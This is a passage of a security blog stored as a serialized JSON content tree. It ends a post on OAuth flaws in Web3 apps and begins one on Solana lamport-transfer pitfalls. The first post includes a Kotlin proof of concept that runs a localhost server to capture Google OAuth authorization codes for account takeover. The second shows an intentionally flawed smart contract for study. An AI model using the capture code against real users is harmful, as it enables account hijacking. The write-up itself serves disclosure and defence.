}\n}\n","kotlin",[70780],{"type":21,"tag":194,"props":70781,"children":70782},{"__ignoreMap":7},[70783,70810,70817,70849,70871,70878,70886,70908,70920,70932,70967,70993,71043,71050,71057,71064,71072,71094,71129,71142,71149,71156,71177,71203,71215,71236,71253,71265,71291,71330,71351,71359,71371,71396,71408,71421,71429,71436,71444,71452,71459,71489,71496],{"type":21,"tag":198,"props":70784,"children":70785},{"class":200,"line":201},[70786,70791,70796,70801,70806],{"type":21,"tag":198,"props":70787,"children":70788},{"style":249},[70789],{"type":27,"value":70790},"class",{"type":21,"tag":198,"props":70792,"children":70793},{"style":1966},[70794],{"type":27,"value":70795}," MainActivity",{"type":21,"tag":198,"props":70797,"children":70798},{"style":211},[70799],{"type":27,"value":70800}," : ",{"type":21,"tag":198,"props":70802,"children":70803},{"style":1966},[70804],{"type":27,"value":70805},"AppCompatActivity",{"type":21,"tag":198,"props":70807,"children":70808},{"style":211},[70809],{"type":27,"value":16539},{"type":21,"tag":198,"props":70811,"children":70812},{"class":200,"line":217},[70813],{"type":21,"tag":198,"props":70814,"children":70815},{"emptyLinePlaceholder":16},[70816],{"type":27,"value":1283},{"type":21,"tag":198,"props":70818,"children":70819},{"class":200,"line":236},[70820,70825,70829,70834,70839,70844],{"type":21,"tag":198,"props":70821,"children":70822},{"style":249},[70823],{"type":27,"value":70824}," override",{"type":21,"tag":198,"props":70826,"children":70827},{"style":249},[70828],{"type":27,"value":7019},{"type":21,"tag":198,"props":70830,"children":70831},{"style":698},[70832],{"type":27,"value":70833}," onCreate",{"type":21,"tag":198,"props":70835,"children":70836},{"style":211},[70837],{"type":27,"value":70838},"(savedInstanceState: ",{"type":21,"tag":198,"props":70840,"children":70841},{"style":1966},[70842],{"type":27,"value":70843},"Bundle",{"type":21,"tag":198,"props":70845,"children":70846},{"style":211},[70847],{"type":27,"value":70848},"?) {\n",{"type":21,"tag":198,"props":70850,"children":70851},{"class":200,"line":260},[70852,70857,70861,70866],{"type":21,"tag":198,"props":70853,"children":70854},{"style":249},[70855],{"type":27,"value":70856}," super",{"type":21,"tag":198,"props":70858,"children":70859},{"style":211},[70860],{"type":27,"value":658},{"type":21,"tag":198,"props":70862,"children":70863},{"style":698},[70864],{"type":27,"value":70865},"onCreate",{"type":21,"tag":198,"props":70867,"children":70868},{"style":211},[70869],{"type":27,"value":70870},"(savedInstanceState)\n",{"type":21,"tag":198,"props":70872,"children":70873},{"class":200,"line":281},[70874],{"type":21,"tag":198,"props":70875,"children":70876},{"emptyLinePlaceholder":16},[70877],{"type":27,"value":1283},{"type":21,"tag":198,"props":70879,"children":70880},{"class":200,"line":302},[70881],{"type":21,"tag":198,"props":70882,"children":70883},{"style":1233},[70884],{"type":27,"value":70885}," // Start the Ktor web server\n",{"type":21,"tag":198,"props":70887,"children":70888},{"class":200,"line":323},[70889,70894,70899,70904],{"type":21,"tag":198,"props":70890,"children":70891},{"style":698},[70892],{"type":27,"value":70893}," CoroutineScope",{"type":21,"tag":198,"props":70895,"children":70896},{"style":211},[70897],{"type":27,"value":70898},"(Dispatchers.IO).",{"type":21,"tag":198,"props":70900,"children":70901},{"style":698},[70902],{"type":27,"value":70903},"launch",{"type":21,"tag":198,"props":70905,"children":70906},{"style":211},[70907],{"type":27,"value":233},{"type":21,"tag":198,"props":70909,"children":70910},{"class":200,"line":344},[70911,70916],{"type":21,"tag":198,"props":70912,"children":70913},{"style":640},[70914],{"type":27,"value":70915}," try",{"type":21,"tag":198,"props":70917,"children":70918},{"style":211},[70919],{"type":27,"value":233},{"type":21,"tag":198,"props":70921,"children":70922},{"class":200,"line":365},[70923,70928],{"type":21,"tag":198,"props":70924,"children":70925},{"style":698},[70926],{"type":27,"value":70927}," startWebServer",{"type":21,"tag":198,"props":70929,"children":70930},{"style":211},[70931],{"type":27,"value":1837},{"type":21,"tag":198,"props":70933,"children":70934},{"class":200,"line":386},[70935,70940,70945,70949,70954,70958,70963],{"type":21,"tag":198,"props":70936,"children":70937},{"style":211},[70938],{"type":27,"value":70939}," Log.",{"type":21,"tag":198,"props":70941,"children":70942},{"style":698},[70943],{"type":27,"value":70944},"d",{"type":21,"tag":198,"props":70946,"children":70947},{"style":211},[70948],{"type":27,"value":706},{"type":21,"tag":198,"props":70950,"children":70951},{"style":205},[70952],{"type":27,"value":70953},"\"WebServer\"",{"type":21,"tag":198,"props":70955,"children":70956},{"style":211},[70957],{"type":27,"value":828},{"type":21,"tag":198,"props":70959,"children":70960},{"style":205},[70961],{"type":27,"value":70962},"\"Server started on http://localhost:3000\"",{"type":21,"tag":198,"props":70964,"children":70965},{"style":211},[70966],{"type":27,"value":789},{"type":21,"tag":198,"props":70968,"children":70969},{"class":200,"line":408},[70970,70975,70979,70984,70989],{"type":21,"tag":198,"props":70971,"children":70972},{"style":211},[70973],{"type":27,"value":70974}," } ",{"type":21,"tag":198,"props":70976,"children":70977},{"style":249},[70978],{"type":27,"value":1498},{"type":21,"tag":198,"props":70980,"children":70981},{"style":211},[70982],{"type":27,"value":70983}," (e: ",{"type":21,"tag":198,"props":70985,"children":70986},{"style":1966},[70987],{"type":27,"value":70988},"Exception",{"type":21,"tag":198,"props":70990,"children":70991},{"style":211},[70992],{"type":27,"value":668},{"type":21,"tag":198,"props":70994,"children":70995},{"class":200,"line":429},[70996,71000,71004,71008,71012,71016,71021,71025,71030,71034,71038],{"type":21,"tag":198,"props":70997,"children":70998},{"style":211},[70999],{"type":27,"value":70939},{"type":21,"tag":198,"props":71001,"children":71002},{"style":698},[71003],{"type":27,"value":51830},{"type":21,"tag":198,"props":71005,"children":71006},{"style":211},[71007],{"type":27,"value":706},{"type":21,"tag":198,"props":71009,"children":71010},{"style":205},[71011],{"type":27,"value":70953},{"type":21,"tag":198,"props":71013,"children":71014},{"style":211},[71015],{"type":27,"value":828},{"type":21,"tag":198,"props":71017,"children":71018},{"style":205},[71019],{"type":27,"value":71020},"\"Error starting server: ",{"type":21,"tag":198,"props":71022,"children":71023},{"style":249},[71024],{"type":27,"value":756},{"type":21,"tag":198,"props":71026,"children":71027},{"style":683},[71028],{"type":27,"value":71029},"e.message",{"type":21,"tag":198,"props":71031,"children":71032},{"style":249},[71033],{"type":27,"value":779},{"type":21,"tag":198,"props":71035,"children":71036},{"style":205},[71037],{"type":27,"value":20854},{"type":21,"tag":198,"props":71039,"children":71040},{"style":211},[71041],{"type":27,"value":71042},", e)\n",{"type":21,"tag":198,"props":71044,"children":71045},{"class":200,"line":450},[71046],{"type":21,"tag":198,"props":71047,"children":71048},{"style":211},[71049],{"type":27,"value":59262},{"type":21,"tag":198,"props":71051,"children":71052},{"class":200,"line":468},[71053],{"type":21,"tag":198,"props":71054,"children":71055},{"style":211},[71056],{"type":27,"value":1160},{"type":21,"tag":198,"props":71058,"children":71059},{"class":200,"line":477},[71060],{"type":21,"tag":198,"props":71061,"children":71062},{"emptyLinePlaceholder":16},[71063],{"type":27,"value":1283},{"type":21,"tag":198,"props":71065,"children":71066},{"class":200,"line":494},[71067],{"type":21,"tag":198,"props":71068,"children":71069},{"style":1233},[71070],{"type":27,"value":71071}," // Open the Google OAuth page\n",{"type":21,"tag":198,"props":71073,"children":71074},{"class":200,"line":515},[71075,71080,71085,71089],{"type":21,"tag":198,"props":71076,"children":71077},{"style":249},[71078],{"type":27,"value":71079}," val",{"type":21,"tag":198,"props":71081,"children":71082},{"style":211},[71083],{"type":27,"value":71084}," googleOAuthUrl ",{"type":21,"tag":198,"props":71086,"children":71087},{"style":683},[71088],{"type":27,"value":3174},{"type":21,"tag":198,"props":71090,"children":71091},{"style":205},[71092],{"type":27,"value":71093}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":198,"props":71095,"children":71096},{"class":200,"line":4484},[71097,71101,71106,71110,71115,71120,71124],{"type":21,"tag":198,"props":71098,"children":71099},{"style":249},[71100],{"type":27,"value":71079},{"type":21,"tag":198,"props":71102,"children":71103},{"style":211},[71104],{"type":27,"value":71105}," browserIntent ",{"type":21,"tag":198,"props":71107,"children":71108},{"style":683},[71109],{"type":27,"value":3174},{"type":21,"tag":198,"props":71111,"children":71112},{"style":698},[71113],{"type":27,"value":71114}," Intent",{"type":21,"tag":198,"props":71116,"children":71117},{"style":211},[71118],{"type":27,"value":71119},"(Intent.ACTION_VIEW, Uri.",{"type":21,"tag":198,"props":71121,"children":71122},{"style":698},[71123],{"type":27,"value":39969},{"type":21,"tag":198,"props":71125,"children":71126},{"style":211},[71127],{"type":27,"value":71128},"(googleOAuthUrl))\n",{"type":21,"tag":198,"props":71130,"children":71131},{"class":200,"line":4493},[71132,71137],{"type":21,"tag":198,"props":71133,"children":71134},{"style":698},[71135],{"type":27,"value":71136}," startActivity",{"type":21,"tag":198,"props":71138,"children":71139},{"style":211},[71140],{"type":27,"value":71141},"(browserIntent)\n",{"type":21,"tag":198,"props":71143,"children":71144},{"class":200,"line":4561},[71145],{"type":21,"tag":198,"props":71146,"children":71147},{"style":211},[71148],{"type":27,"value":880},{"type":21,"tag":198,"props":71150,"children":71151},{"class":200,"line":4569},[71152],{"type":21,"tag":198,"props":71153,"children":71154},{"emptyLinePlaceholder":16},[71155],{"type":27,"value":1283},{"type":21,"tag":198,"props":71157,"children":71158},{"class":200,"line":4599},[71159,71164,71168,71173],{"type":21,"tag":198,"props":71160,"children":71161},{"style":249},[71162],{"type":27,"value":71163}," private",{"type":21,"tag":198,"props":71165,"children":71166},{"style":249},[71167],{"type":27,"value":7019},{"type":21,"tag":198,"props":71169,"children":71170},{"style":698},[71171],{"type":27,"value":71172}," startWebServer",{"type":21,"tag":198,"props":71174,"children":71175},{"style":211},[71176],{"type":27,"value":16539},{"type":21,"tag":198,"props":71178,"children":71179},{"class":200,"line":4607},[71180,71185,71190,71194,71199],{"type":21,"tag":198,"props":71181,"children":71182},{"style":698},[71183],{"type":27,"value":71184}," embeddedServer",{"type":21,"tag":198,"props":71186,"children":71187},{"style":211},[71188],{"type":27,"value":71189},"(CIO, port ",{"type":21,"tag":198,"props":71191,"children":71192},{"style":683},[71193],{"type":27,"value":3174},{"type":21,"tag":198,"props":71195,"children":71196},{"style":2540},[71197],{"type":27,"value":71198}," 3000",{"type":21,"tag":198,"props":71200,"children":71201},{"style":211},[71202],{"type":27,"value":668},{"type":21,"tag":198,"props":71204,"children":71205},{"class":200,"line":4638},[71206,71211],{"type":21,"tag":198,"props":71207,"children":71208},{"style":698},[71209],{"type":27,"value":71210}," routing",{"type":21,"tag":198,"props":71212,"children":71213},{"style":211},[71214],{"type":27,"value":233},{"type":21,"tag":198,"props":71216,"children":71217},{"class":200,"line":4646},[71218,71223,71227,71232],{"type":21,"tag":198,"props":71219,"children":71220},{"style":249},[71221],{"type":27,"value":71222}," get",{"type":21,"tag":198,"props":71224,"children":71225},{"style":211},[71226],{"type":27,"value":706},{"type":21,"tag":198,"props":71228,"children":71229},{"style":205},[71230],{"type":27,"value":71231},"\"{...}\"",{"type":21,"tag":198,"props":71233,"children":71234},{"style":211},[71235],{"type":27,"value":668},{"type":21,"tag":198,"props":71237,"children":71238},{"class":200,"line":4706},[71239,71244,71249],{"type":21,"tag":198,"props":71240,"children":71241},{"style":211},[71242],{"type":27,"value":71243}," call.",{"type":21,"tag":198,"props":71245,"children":71246},{"style":698},[71247],{"type":27,"value":71248},"respondHtml",{"type":21,"tag":198,"props":71250,"children":71251},{"style":211},[71252],{"type":27,"value":233},{"type":21,"tag":198,"props":71254,"children":71255},{"class":200,"line":9857},[71256,71261],{"type":21,"tag":198,"props":71257,"children":71258},{"style":698},[71259],{"type":27,"value":71260}," head",{"type":21,"tag":198,"props":71262,"children":71263},{"style":211},[71264],{"type":27,"value":233},{"type":21,"tag":198,"props":71266,"children":71267},{"class":200,"line":9875},[71268,71273,71278,71282,71287],{"type":21,"tag":198,"props":71269,"children":71270},{"style":698},[71271],{"type":27,"value":71272}," meta",{"type":21,"tag":198,"props":71274,"children":71275},{"style":211},[71276],{"type":27,"value":71277},"(charset ",{"type":21,"tag":198,"props":71279,"children":71280},{"style":683},[71281],{"type":27,"value":3174},{"type":21,"tag":198,"props":71283,"children":71284},{"style":205},[71285],{"type":27,"value":71286}," \"UTF-8\"",{"type":21,"tag":198,"props":71288,"children":71289},{"style":211},[71290],{"type":27,"value":789},{"type":21,"tag":198,"props":71292,"children":71293},{"class":200,"line":9920},[71294,71298,71303,71307,71312,71317,71321,71326],{"type":21,"tag":198,"props":71295,"children":71296},{"style":698},[71297],{"type":27,"value":71272},{"type":21,"tag":198,"props":71299,"children":71300},{"style":211},[71301],{"type":27,"value":71302},"(name ",{"type":21,"tag":198,"props":71304,"children":71305},{"style":683},[71306],{"type":27,"value":3174},{"type":21,"tag":198,"props":71308,"children":71309},{"style":205},[71310],{"type":27,"value":71311}," \"viewport\"",{"type":21,"tag":198,"props":71313,"children":71314},{"style":211},[71315],{"type":27,"value":71316},", content ",{"type":21,"tag":198,"props":71318,"children":71319},{"style":683},[71320],{"type":27,"value":3174},{"type":21,"tag":198,"props":71322,"children":71323},{"style":205},[71324],{"type":27,"value":71325}," \"width=device-width, initial-scale=1.0\"",{"type":21,"tag":198,"props":71327,"children":71328},{"style":211},[71329],{"type":27,"value":789},{"type":21,"tag":198,"props":71331,"children":71332},{"class":200,"line":10026},[71333,71338,71342,71347],{"type":21,"tag":198,"props":71334,"children":71335},{"style":698},[71336],{"type":27,"value":71337}," title",{"type":21,"tag":198,"props":71339,"children":71340},{"style":211},[71341],{"type":27,"value":706},{"type":21,"tag":198,"props":71343,"children":71344},{"style":205},[71345],{"type":27,"value":71346},"\"OAuth Redirect\"",{"type":21,"tag":198,"props":71348,"children":71349},{"style":211},[71350],{"type":27,"value":789},{"type":21,"tag":198,"props":71352,"children":71353},{"class":200,"line":24302},[71354],{"type":21,"tag":198,"props":71355,"children":71356},{"style":211},[71357],{"type":27,"value":71358}," }\n",{"type":21,"tag":198,"props":71360,"children":71361},{"class":200,"line":24337},[71362,71367],{"type":21,"tag":198,"props":71363,"children":71364},{"style":698},[71365],{"type":27,"value":71366}," body",{"type":21,"tag":198,"props":71368,"children":71369},{"style":211},[71370],{"type":27,"value":233},{"type":21,"tag":198,"props":71372,"children":71373},{"class":200,"line":24345},[71374,71379,71383,71387,71392],{"type":21,"tag":198,"props":71375,"children":71376},{"style":698},[71377],{"type":27,"value":71378}," h1",{"type":21,"tag":198,"props":71380,"children":71381},{"style":211},[71382],{"type":27,"value":1891},{"type":21,"tag":198,"props":71384,"children":71385},{"style":683},[71386],{"type":27,"value":5193},{"type":21,"tag":198,"props":71388,"children":71389},{"style":205},[71390],{"type":27,"value":71391},"\"Google OAuth Redirect\"",{"type":21,"tag":198,"props":71393,"children":71394},{"style":211},[71395],{"type":27,"value":1909},{"type":21,"tag":198,"props":71397,"children":71398},{"class":200,"line":24353},[71399,71404],{"type":21,"tag":198,"props":71400,"children":71401},{"style":698},[71402],{"type":27,"value":71403}," script",{"type":21,"tag":198,"props":71405,"children":71406},{"style":211},[71407],{"type":27,"value":233},{"type":21,"tag":198,"props":71409,"children":71410},{"class":200,"line":24362},[71411,71416],{"type":21,"tag":198,"props":71412,"children":71413},{"style":683},[71414],{"type":27,"value":71415}," +",{"type":21,"tag":198,"props":71417,"children":71418},{"style":205},[71419],{"type":27,"value":71420},"\"document.body.innerText = location.search;\"\n",{"type":21,"tag":198,"props":71422,"children":71423},{"class":200,"line":24404},[71424],{"type":21,"tag":198,"props":71425,"children":71426},{"style":211},[71427],{"type":27,"value":71428}," }\n",{"type":21,"tag":198,"props":71430,"children":71431},{"class":200,"line":24437},[71432],{"type":21,"tag":198,"props":71433,"children":71434},{"style":211},[71435],{"type":27,"value":71358},{"type":21,"tag":198,"props":71437,"children":71438},{"class":200,"line":24445},[71439],{"type":21,"tag":198,"props":71440,"children":71441},{"style":211},[71442],{"type":27,"value":71443}," }\n",{"type":21,"tag":198,"props":71445,"children":71446},{"class":200,"line":24453},[71447],{"type":21,"tag":198,"props":71448,"children":71449},{"style":211},[71450],{"type":27,"value":71451}," }\n",{"type":21,"tag":198,"props":71453,"children":71454},{"class":200,"line":24462},[71455],{"type":21,"tag":198,"props":71456,"children":71457},{"style":211},[71458],{"type":27,"value":59262},{"type":21,"tag":198,"props":71460,"children":71461},{"class":200,"line":24538},[71462,71467,71472,71477,71481,71485],{"type":21,"tag":198,"props":71463,"children":71464},{"style":211},[71465],{"type":27,"value":71466}," }.",{"type":21,"tag":198,"props":71468,"children":71469},{"style":698},[71470],{"type":27,"value":71471},"start",{"type":21,"tag":198,"props":71473,"children":71474},{"style":211},[71475],{"type":27,"value":71476},"(wait ",{"type":21,"tag":198,"props":71478,"children":71479},{"style":683},[71480],{"type":27,"value":3174},{"type":21,"tag":198,"props":71482,"children":71483},{"style":249},[71484],{"type":27,"value":252},{"type":21,"tag":198,"props":71486,"children":71487},{"style":211},[71488],{"type":27,"value":789},{"type":21,"tag":198,"props":71490,"children":71491},{"class":200,"line":24571},[71492],{"type":21,"tag":198,"props":71493,"children":71494},{"style":211},[71495],{"type":27,"value":880},{"type":21,"tag":198,"props":71497,"children":71498},{"class":200,"line":24579},[71499],{"type":21,"tag":198,"props":71500,"children":71501},{"style":211},[71502],{"type":27,"value":1120},{"type":21,"tag":30,"props":71504,"children":71505},{},[71506],{"type":27,"value":71507},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":21,"tag":30,"props":71509,"children":71510},{},[71511],{"type":27,"value":71512},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":21,"tag":59,"props":71514,"children":71516},{"id":71515},"mitigation-1",[71517],{"type":27,"value":41091},{"type":21,"tag":30,"props":71519,"children":71520},{},[71521,71523,71528],{"type":27,"value":71522},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":21,"tag":194,"props":71524,"children":71526},{"className":71525},[],[71527],{"type":27,"value":70145},{"type":27,"value":71529}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":21,"tag":22,"props":71531,"children":71532},{"id":3586},[71533],{"type":27,"value":3589},{"type":21,"tag":30,"props":71535,"children":71536},{},[71537],{"type":27,"value":71538},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":21,"tag":30,"props":71540,"children":71541},{},[71542],{"type":27,"value":71543},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":21,"tag":3645,"props":71545,"children":71546},{},[71547],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":71549},[71550,71557,71562,71565],{"id":69913,"depth":217,"text":69916,"children":71551},[71552,71553,71554,71555,71556],{"id":69924,"depth":236,"text":69927},{"id":69951,"depth":236,"text":69954},{"id":70012,"depth":236,"text":70015},{"id":70069,"depth":236,"text":70072},{"id":70168,"depth":236,"text":70171},{"id":70214,"depth":217,"text":70217,"children":71558},[71559,71560,71561],{"id":70220,"depth":236,"text":70223},{"id":70247,"depth":236,"text":70250},{"id":41088,"depth":236,"text":41091},{"id":70696,"depth":217,"text":70699,"children":71563},[71564],{"id":71515,"depth":236,"text":41091},{"id":3586,"depth":217,"text":3589},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":71570,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71571,"description":71572,"author":41205,"image":71573,"date":71575,"isFeatured":16,"tags":71576,"onBlogPage":16,"body":71577,"_type":3671,"_id":76231,"_source":3673,"_file":76232,"_stem":76233,"_extension":3676},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":71574,"height":14430,"width":14430},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[3688],{"type":18,"children":71578,"toc":76220},[71579,71583,71588,71602,71608,71613,71643,71648,71653,72691,72696,72704,72709,72715,72721,72733,72766,72778,72791,72803,73248,73253,73299,73305,73310,73397,73402,73416,73429,74092,74097,74109,74115,74126,74138,74292,74306,74325,74346,74352,74357,74702,74707,74713,74732,74746,75368,75373,75393,75398,75403,75409,75421,75442,75617,75623,75628,75929,75950,75962,75974,76058,76078,76090,76096,76108,76114,76119,76142,76154,76160,76172,76177,76183,76188,76193,76211,76216],{"type":21,"tag":22,"props":71580,"children":71581},{"id":61},[71582],{"type":27,"value":64},{"type":21,"tag":30,"props":71584,"children":71585},{},[71586],{"type":27,"value":71587},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":21,"tag":30,"props":71589,"children":71590},{},[71591,71593,71600],{"type":27,"value":71592},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":21,"tag":34,"props":71594,"children":71597},{"href":71595,"rel":71596},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[38],[71598],{"type":27,"value":71599},"King of the Ether",{"type":27,"value":71601},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":21,"tag":22,"props":71603,"children":71605},{"id":71604},"the-game-king-of-the-sol",[71606],{"type":27,"value":71607},"The Game: King of the SOL",{"type":21,"tag":30,"props":71609,"children":71610},{},[71611],{"type":27,"value":71612},"The game works like this:",{"type":21,"tag":138,"props":71614,"children":71615},{},[71616,71628,71633,71638],{"type":21,"tag":75,"props":71617,"children":71618},{},[71619,71621,71626],{"type":27,"value":71620},"Anyone can become the ",{"type":21,"tag":6137,"props":71622,"children":71623},{},[71624],{"type":27,"value":71625},"king",{"type":27,"value":71627}," by bidding at least 2× the previous bid.",{"type":21,"tag":75,"props":71629,"children":71630},{},[71631],{"type":27,"value":71632},"The old king is reimbursed 95% of their bid.",{"type":21,"tag":75,"props":71634,"children":71635},{},[71636],{"type":27,"value":71637},"The remaining 5% goes into a prize pot.",{"type":21,"tag":75,"props":71639,"children":71640},{},[71641],{"type":27,"value":71642},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":21,"tag":30,"props":71644,"children":71645},{},[71646],{"type":27,"value":71647},"Simple, right?",{"type":21,"tag":30,"props":71649,"children":71650},{},[71651],{"type":27,"value":71652},"This is the core logic:",{"type":21,"tag":187,"props":71654,"children":71656},{"className":3789,"code":71655,"language":3788,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[71657],{"type":21,"tag":194,"props":71658,"children":71659},{"__ignoreMap":7},[71660,71675,71703,71718,71759,71766,71774,71825,71856,71863,71871,71886,71918,71925,71940,71971,71978,71985,71993,72010,72084,72092,72153,72165,72193,72233,72245,72261,72268,72276,72350,72362,72401,72429,72441,72456,72463,72471,72541,72585,72659,72666,72677,72684],{"type":21,"tag":198,"props":71661,"children":71662},{"class":200,"line":201},[71663,71667,71671],{"type":21,"tag":198,"props":71664,"children":71665},{"style":211},[71666],{"type":27,"value":23631},{"type":21,"tag":198,"props":71668,"children":71669},{"style":1966},[71670],{"type":27,"value":23636},{"type":21,"tag":198,"props":71672,"children":71673},{"style":211},[71674],{"type":27,"value":21053},{"type":21,"tag":198,"props":71676,"children":71677},{"class":200,"line":217},[71678,71682,71686,71691,71695,71699],{"type":21,"tag":198,"props":71679,"children":71680},{"style":249},[71681],{"type":27,"value":14497},{"type":21,"tag":198,"props":71683,"children":71684},{"style":249},[71685],{"type":27,"value":21944},{"type":21,"tag":198,"props":71687,"children":71688},{"style":1966},[71689],{"type":27,"value":71690}," ChangeKing",{"type":21,"tag":198,"props":71692,"children":71693},{"style":211},[71694],{"type":27,"value":23716},{"type":21,"tag":198,"props":71696,"children":71697},{"style":1966},[71698],{"type":27,"value":23721},{"type":21,"tag":198,"props":71700,"children":71701},{"style":211},[71702],{"type":27,"value":8093},{"type":21,"tag":198,"props":71704,"children":71705},{"class":200,"line":236},[71706,71710,71714],{"type":21,"tag":198,"props":71707,"children":71708},{"style":211},[71709],{"type":27,"value":23922},{"type":21,"tag":198,"props":71711,"children":71712},{"style":249},[71713],{"type":27,"value":4530},{"type":21,"tag":198,"props":71715,"children":71716},{"style":211},[71717],{"type":27,"value":21053},{"type":21,"tag":198,"props":71719,"children":71720},{"class":200,"line":260},[71721,71725,71730,71734,71738,71742,71746,71750,71755],{"type":21,"tag":198,"props":71722,"children":71723},{"style":249},[71724],{"type":27,"value":21636},{"type":21,"tag":198,"props":71726,"children":71727},{"style":226},[71728],{"type":27,"value":71729}," throne",{"type":21,"tag":198,"props":71731,"children":71732},{"style":683},[71733],{"type":27,"value":185},{"type":21,"tag":198,"props":71735,"children":71736},{"style":1966},[71737],{"type":27,"value":23887},{"type":21,"tag":198,"props":71739,"children":71740},{"style":211},[71741],{"type":27,"value":23716},{"type":21,"tag":198,"props":71743,"children":71744},{"style":1966},[71745],{"type":27,"value":23721},{"type":21,"tag":198,"props":71747,"children":71748},{"style":211},[71749],{"type":27,"value":828},{"type":21,"tag":198,"props":71751,"children":71752},{"style":1966},[71753],{"type":27,"value":71754},"Throne",{"type":21,"tag":198,"props":71756,"children":71757},{"style":211},[71758],{"type":27,"value":6950},{"type":21,"tag":198,"props":71760,"children":71761},{"class":200,"line":281},[71762],{"type":21,"tag":198,"props":71763,"children":71764},{"emptyLinePlaceholder":16},[71765],{"type":27,"value":1283},{"type":21,"tag":198,"props":71767,"children":71768},{"class":200,"line":302},[71769],{"type":21,"tag":198,"props":71770,"children":71771},{"style":1233},[71772],{"type":27,"value":71773}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":21,"tag":198,"props":71775,"children":71776},{"class":200,"line":323},[71777,71781,71785,71790,71794,71799,71803,71808,71812,71816,71820],{"type":21,"tag":198,"props":71778,"children":71779},{"style":211},[71780],{"type":27,"value":23922},{"type":21,"tag":198,"props":71782,"children":71783},{"style":249},[71784],{"type":27,"value":4530},{"type":21,"tag":198,"props":71786,"children":71787},{"style":211},[71788],{"type":27,"value":71789},", constraint ",{"type":21,"tag":198,"props":71791,"children":71792},{"style":683},[71793],{"type":27,"value":3174},{"type":21,"tag":198,"props":71795,"children":71796},{"style":211},[71797],{"type":27,"value":71798}," old_king",{"type":21,"tag":198,"props":71800,"children":71801},{"style":683},[71802],{"type":27,"value":658},{"type":21,"tag":198,"props":71804,"children":71805},{"style":211},[71806],{"type":27,"value":71807},"key() ",{"type":21,"tag":198,"props":71809,"children":71810},{"style":683},[71811],{"type":27,"value":9386},{"type":21,"tag":198,"props":71813,"children":71814},{"style":211},[71815],{"type":27,"value":71729},{"type":21,"tag":198,"props":71817,"children":71818},{"style":683},[71819],{"type":27,"value":658},{"type":21,"tag":198,"props":71821,"children":71822},{"style":211},[71823],{"type":27,"value":71824},"king)]\n",{"type":21,"tag":198,"props":71826,"children":71827},{"class":200,"line":344},[71828,71832,71836,71840,71844,71848,71852],{"type":21,"tag":198,"props":71829,"children":71830},{"style":249},[71831],{"type":27,"value":21636},{"type":21,"tag":198,"props":71833,"children":71834},{"style":226},[71835],{"type":27,"value":71798},{"type":21,"tag":198,"props":71837,"children":71838},{"style":683},[71839],{"type":27,"value":185},{"type":21,"tag":198,"props":71841,"children":71842},{"style":1966},[71843],{"type":27,"value":26203},{"type":21,"tag":198,"props":71845,"children":71846},{"style":211},[71847],{"type":27,"value":23716},{"type":21,"tag":198,"props":71849,"children":71850},{"style":1966},[71851],{"type":27,"value":23721},{"type":21,"tag":198,"props":71853,"childr